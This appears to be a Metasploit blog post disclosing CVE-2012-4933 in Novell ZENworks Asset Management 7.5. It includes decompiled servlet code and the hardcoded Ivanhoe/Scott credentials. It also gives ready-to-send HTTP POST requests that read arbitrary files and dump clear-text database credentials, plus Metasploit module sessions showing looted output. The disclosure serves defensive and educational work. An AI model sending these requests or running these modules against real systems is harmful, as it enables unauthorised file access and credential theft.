Last updated at Thu, 28 Dec 2023 18:52:45 GMT

Today, we present to you a flashy new vulnerability with a color-matching exploit straight from our super secret R&D safe house here in Metasploit Country. Known as CVE-2012-4933, it applies to Novell ZENworks Asset Management 7.5, which "integrates asset inventory, software usage, software management and contract management to provide the most complete software asset management tool available". Following our standard disclosure policy, we notified both Novell and CERT, and today CERT has published it. The new Metasploit exploit gives you access to files on the system using system privileges and gets you all the way to the backend credentials in clear text. What else could you ask for on a crisp Monday morning in fall?

Vulnerability Summary

ZENworks Asset Management provides a Web Console, where the user can access the data collected about network devices and edit some information. This web interface provides some maintenance calls, two of them accessible with hardcoded credentials, allowing a remote attacker:

  • To retrieve any file from the remote file system with SYSTEM privileges.
  • To get configuration parameters from the ZENworks Asset Management including the backend credentials in clear text.

Disclosure Timeline

Date Description
2012-08-09 Initial discovery by Juan Vazquez
2012-08-09 Metasploit module written
2012-08-15 Initial disclosure to Novell
2012-08-30 Disclosure to US CERT
2012-10-15 Public disclosure and Metasploit module published

Technical Analysis

The Web Console of ZENworks Asset Management is provided through a Java Web Application. The Web Application (with name “rtrlet”) provides a Servlet named “Rtrlet”. This servlet provides a function named “HandleMaintenanceCalls” where the different maintenance actions are implemented. This function is called every time a POST or GET request is managed by the “Rtrlet” servlet. The call flows until the HandleMaintenanceCalls() are: doGet() / doPost() => DoReport() => HandleMaintenanceCalls(). The flow is analyzed below:

  • From the doGet() function:
public void doGet(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)  
  throws ServletException, IOException  
{  
  if(!ServletStatuses.UpdaterReady())  
  {  
  DoNotReadyResponse(httpservletrequest, httpservletresponse);  
  return;  
  } else  
  {  
  ReportParams reportparams = new ReportParams(RequestNumber++);  
  cat.debug("ECNC1: " + rss.GetParamWithDefault("CharacterEncoding", ToolBox.DEFAULT_ENCODING));  
  httpservletrequest.setCharacterEncoding(rss.GetParamWithDefault("CharacterEncoding", ToolBox.DEFAULT_ENCODING));  
  LoadRP(reportparams, httpservletrequest);  
  DoReport(httpservletrequest, httpservletresponse, reportparams); // Call to DoReport()  
  return;  
  }  
}  
  • From the doPost() function:
public void doPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)  
  throws ServletException, IOException  
{  
  if(!ServletStatuses.UpdaterReady())  
  {  
  DoNotReadyResponse(httpservletrequest, httpservletresponse);  
  return;  
  }  
  ReportParams reportparams = new ReportParams(RequestNumber++);  
  String s = httpservletrequest.getContentType();  
  if(s.startsWith("multipart/form-data"))  
  {  
  try  
  {  
  cat.debug("Content type is " + s);  
  String s1 = CWD + IMPORT_FOLDER;  
  cat.info("Import scripts directory has been set to : " + s1);  
  String s2 = s1 + File.separator;  
  cat.debug("doPost(): uploadDest=" + s2);  
  File file = new File(s2);  
  if(!file.exists())  
  file.mkdirs();  
  String s3 = "";  
  MalibuMultipartRequestParser malibumultipartrequestparser = new MalibuMultipartRequestParser(httpservletrequest, s2, "", s3);  
  malibumultipartrequestparser.parseRequest();  
  HashMap hashmap = malibumultipartrequestparser.getWebVars();  
  LoadRP(reportparams, hashmap);  
  }  
  catch(Exception exception)  
  {  
  cat.debug("Unhandled exception reading multipart data in rtrlet", exception);  
  }  
  } else  
  {  
  cat.debug("ECNC2: " + rss.GetParamWithDefault("CharacterEncoding", ToolBox.DEFAULT_ENCODING));  
  httpservletrequest.setCharacterEncoding(rss.GetParamWithDefault("CharacterEncoding", ToolBox.DEFAULT_ENCODING));  
  LoadRP(reportparams, httpservletrequest);  
  }  
  DoReport(httpservletrequest, httpservletresponse, reportparams); //Call to DoReport()  
} 

Once in the DoReport() function the first thing done is call to HandleMaintenanceCalls():

private void DoReport(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse, ReportParams reportparams)  
  throws IOException  
{  
  if(HandleMaintenanceCalls(httpservletresponse, reportparams)) // Call to HandleMaintenanceCalls  
  return;  

The HandleMaintenanceCalls() function manage the maintenance calls. The maintenance call is selected by a parameter named "maintenance":

private boolean HandleMaintenanceCalls(HttpServletResponse httpservletresponse, ReportParams reportparams)  
  throws IOException  
{  
  if(reportparams.GetParam("maintenance").equals(""))  
  return false;  
  if(httpservletresponse == null)  
  return false;  
  cat.info("Maintenance request");  
  if(reportparams.GetParam("maintenance").equals("resetsession")) // Checks if maintenance == "resetsession"  
  {  
  }  
  if(reportparams.GetParam("maintenance").equals("XSLTOff")) // Checks if maintenance == "XSLTOff"  
  {  
  }  
  if(reportparams.GetParam("maintenance").equals("XSLTOn")) // Checks if maintenance == "XSLTOn"  
  {  
  }  
  if(reportparams.GetParam("maintenance").equals("ShowLogins")) // Checks if maintenance == "ShowLogins"  
  {  
  }  
  if(reportparams.GetParam("maintenance").equalsIgnoreCase("help")) // Checks if maintenance == "help"  
  {  
  }  
  // Checks if maintenance == "GetFile" or maintenance == "GetConfigInfo"  
  if(reportparams.GetParam("maintenance").equalsIgnoreCase("GetFile") || reportparams.GetParam("maintenance").equalsIgnoreCase("GetConfigInfo"))  
  {  
  }  
  if(reportparams.GetParam("maintenance").equalsIgnoreCase("GetFile_Password")) // Checks if maintenance == "GetFile_Password"  
  {  
  }  
  if(reportparams.GetParam("maintenance").equalsIgnoreCase("GetConfigInfo_Password")) // Checks if maintenance == "GetConfigInfo_Password"  
  {  
  } else  
  {  
  return false;  
  }  
}  

From the above snippet of code the next maintenance calls are identified: "resetsession", "XSLTOff", "XSLTOn", "ShowLogins", “help”, “GetFile”, “GetConfigInfo”, “GetFile_Password” and “GetConfigInfo_Password”. Two of them are protected by hardcoded credentials: "GetFile_Password" and "GetConfigInfo_Password":

  • GetFile_Password
// Checks if username == "Ivanhoe" and password == "Scott"  
if(!reportparams.GetParam("username").equalsIgnoreCase("Ivanhoe") || !reportparams.GetParam("password").equalsIgnoreCase("Scott"))  
{  
  printwriter3.println("Sorry</html>");  
  printwriter3.close();  
  return true;  
} 
  • GetConfigInfo_Password

// Checks if username == "Ivanhoe" and password == "Scott"  
if(!reportparams.GetParam("username").equalsIgnoreCase("Ivanhoe") || !reportparams.GetParam("password").equalsIgnoreCase("Scott"))  
{  
  printwriter4.println("Sorry</html>");  
  printwriter4.close();  
  return true;  
} 

In both cases the functions are protected by the credentials Ivanhoe / Scott, and allow to:

  • (1) Access to any file in the file system in the case of the "GetFile_Password":
if(reportparams.GetParam("absolute").equalsIgnoreCase("yes"))  
{  
  s = reportparams.GetParam("file");  
} else  
{  
  Properties properties = new Properties(System.getProperties());  
  String s2 = properties.getProperty("tomcat.home");  
  if(s2 == null)  
  s2 = properties.getProperty("catalina.home");  
  if(s2 == null)  
  s2 = "";  
  s = s2 + "/" + reportparams.GetParam("file");  
}  
printwriter3.println("<br/>File name = " + s + "<br/><br/><br/>");  
try  
{  
  File file = new File(s);  
  FileInputStream fileinputstream = new FileInputStream(file);  
  int j1 = fileinputstream.available();  
  Integer integer = new Integer(reportparams.GetParam("kb"));  
  int l1 = j1 - integer.intValue() * 1000;  
  if(l1 > 0)  
  fileinputstream.skip(l1);  
  printwriter3.println("<pre>");  
  int i2;  
  while((i2 = fileinputstream.read()) != -1)  
  printwriter3.write(i2);  
  printwriter3.println("</pre>");  
  fileinputstream.close();  
}  
  • (2) Access to the ZENWorks Asset Management 7.5 configuration parameters, including the backend credentials in clear text, in the case of the GetConfigInfo_Password".

Exploitation

After examining the "GetFile_Password" and "GetConfigInfo_Password" calls, the requests that allow getting access to both functions can be built. The requests and the info retrieved are presented below.

  • GetFile_Password: The next request allows accessing the "GetFile_password" to retrieve the "c:\boot.ini" configuration file in a Windows installation:
POST /rtrlet/rtr HTTP/1.1
Host: 192.168.1.147:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 115


kb=100000000&file=c:\boot.ini&absolute=yes&maintenance=GetFile_password&username=Ivanhoe&password=Scott&send=Submit
 

The response to the request contains the file contents:

HTTP/1.1 200 OK
Content-Length: 341
Date: Sun, 12 Aug 2012 11:28:10 GMT
Server: Apache-Coyote/1.1
 
 
<html>
<b>Last 100000000 kilobytes of c:\boot.ini</b><br/>
<br/>File name = c:\boot.ini<br/><br/><br/>
<pre>
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
</pre>
</html>
  • GetConfigInfo_Password: The next request allows accessing the "GetConfigInfo _password" maintenance task and retrieve the ZENWorks Asset Management Configuration:
POST /rtrlet/rtr HTTP/1.1
Host: 192.168.1.147:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
     
kb=&file=&absolute=&maintenance=GetConfigInfo_password&username=Ivanhoe&password=Scott&send=Submit
 

The response contains the ZENWorks Asset Management configuration parameters, including the database credentials in clear text:

In order to allow metasploit users to test their Novell ZENworks Asset Management installations two auxiliary modules have been added:

  • (1) To retrieve arbitrary files with SYSTEM privileges through the GetFile maintenance task
  
msf > use auxiliary/scanner/http/zenworks_assetmanagement_fileaccess 
msf  auxiliary(zenworks_assetmanagement_fileaccess) > set RHOSTS 192.168.1.131
RHOSTS => 192.168.1.131
msf  auxiliary(zenworks_assetmanagement_fileaccess) > show options

Module options (auxiliary/scanner/http/zenworks_assetmanagement_fileaccess):

   Name      Current Setting                        Required  Description
   ----      ---------------                        --------  -----------
   ABSOLUTE  true                                   yes       Use an absolute file path or directory traversal relative to the tomcat home
   DEPTH     1                                      no        Traversal depth if absolute is set to false
   FILEPATH  C:\WINDOWS\system32\drivers\etc\hosts  yes       The name of the file to download
   Proxies                                          no        Use a proxy chain
   RHOSTS    192.168.1.131                          yes       The target address range or CIDR identifier
   RPORT     8080                                   yes       The target port
   THREADS   1                                      yes       The number of concurrent threads
   VHOST                                            no        HTTP server virtual host

msf  auxiliary(zenworks_assetmanagement_fileaccess) > run

[*] 192.168.1.131:8080 - Sending request...
[*] 192.168.1.131:8080 - File retrieved successfully!
[*] 192.168.1.131:8080 - File saved in: /Users/juan/.msf4/loot/20121001202022_default_192.168.1.131_novell.zenworks__064183.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(zenworks_assetmanagement_fileaccess) > cat /Users/juan/.msf4/loot/20121001202022_default_192.168.1.131_novell.zenworks__064183.bin
[*] exec: cat /Users/juan/.msf4/loot/20121001202022_default_192.168.1.131_novell.zenworks__064183.bin

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

127.0.0.1       localhost
  • (2) To retrieve the configuration of Novell ZENworks Asset Management through the GetConfig maintenance task

msf > use auxiliary/scanner/http/zenworks_assetmanagement_getconfig 
msf  auxiliary(zenworks_assetmanagement_getconfig) > set RHOSTS 192.168.1.131
RHOSTS => 192.168.1.131
msf  auxiliary(zenworks_assetmanagement_getconfig) > show options

Module options (auxiliary/scanner/http/zenworks_assetmanagement_getconfig):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOSTS   192.168.1.131    yes       The target address range or CIDR identifier
   RPORT    8080             yes       The target port
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

msf  auxiliary(zenworks_assetmanagement_getconfig) > run

[*] 192.168.1.131:8080 - Sending request...
[*] 192.168.1.131:8080 - File retrieved successfully!
[*] 192.168.1.131:8080 - File saved in: /Users/juan/.msf4/loot/20121001201257_default_192.168.1.131_novell.zenworks__811678.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The configuration will include the database credentials:

$ grep "^DBUser" -A5 /Users/juan/.msf4/loot/20121001201257_default_192.168.1.131_novell.zenworks__81 1678.bin
DBUser
</td>
<td>
NCSystem
</td>
</tr>
$ grep "^DBPassword" -A5 /Users/juan/.msf4/loot/20121001201257_default_192.168.1.131_novell.zenworks__81 1678.bin
DBPassword
</td>
<td>
tally
</td>
</tr>